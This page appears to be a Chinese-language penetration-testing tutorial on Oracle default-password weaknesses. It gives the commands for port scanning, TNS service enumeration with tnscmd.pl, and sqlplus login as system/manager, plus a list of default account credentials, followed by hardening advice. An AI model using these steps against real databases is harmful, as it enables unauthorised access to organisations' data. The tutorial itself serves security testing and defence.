首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle 預設密碼風險實測:從 TNS 監聽器到 SYS/SYSTEM 入侵全紀錄

     編輯:Oracle 資料庫基礎

Oracle 資料庫安全特性與人為疏失

Oracle 憑藉大型資料庫支援、工業標準相容、安全完整性控制、分散式架構與跨平台可攜性,成為企業級首選。然而,軟體內建的高安全性無法彌補配置疏失——安全的核心始終在人,而非單純依賴軟體。

預設密碼漏洞:SYS/SYSTEM 的 manager 陷阱

為安裝除錯方便,Oracle 資料庫安裝後,擁有 DBA 權限的 SYS 與 SYSTEM 使用者預設密碼均為 manager。大量國內網站(含大型電商)未修改此預設值,導致攻擊者可輕易取得最高權限。其他常見預設帳號還包括 mdsys/mdsys、ctxsys/ctxsys、dbsnmp/dbsnmp 等,隨版本略有差異。

實戰滲透測試流程

1. 目標偵察:掃描 1521 連接埠

使用 SuperScan 等工具掃描開放 TCP 1521(Oracle TNS Listener 預設埠)的主機,鎖定目標 IP(如 xx.xx.110.110)。

2. 服務名枚舉:tnscmd.pl 工具應用

TNS Listener 位於 Client/Server 之間,直接 Telnet 1521 無法取得 Banner。需使用 Perl 腳本 tnscmd.pl 查詢服務資訊:

C:\perl\bin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent
sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521
...
SERVICE_NAME=ORCL
INSTANCE_NAME=ORCL
...

成功取得 Service Name: ORCL。

3. 遠程連線驗證:SQL*Plus 登入

C:\oracle\ora90\BIN>sqlplus /nolog
SQL> connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=xx.xx.110.110)(port=1521)))(connect_data=(SERVICE_NAME=ORCL)));

若提示 Connected 即成功入侵。實測 dbsnmp/dbsnmp 成功率極高。

防禦建議

  • 安裝完成後立即修改所有預設帳號密碼,啟用密碼複雜度驗證。
  • 關閉不必要的預設帳號(LOCK 並 EXPIRE)。
  • 限制 Listener 存取:設定 valid_node_checking_registration_listener、使用防火牆限制來源 IP。
  • 啟用稽核追蹤失敗登入嘗試。

安全意識薄弱是最大漏洞,定期滲透測試與配置基線檢查不可或缺。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved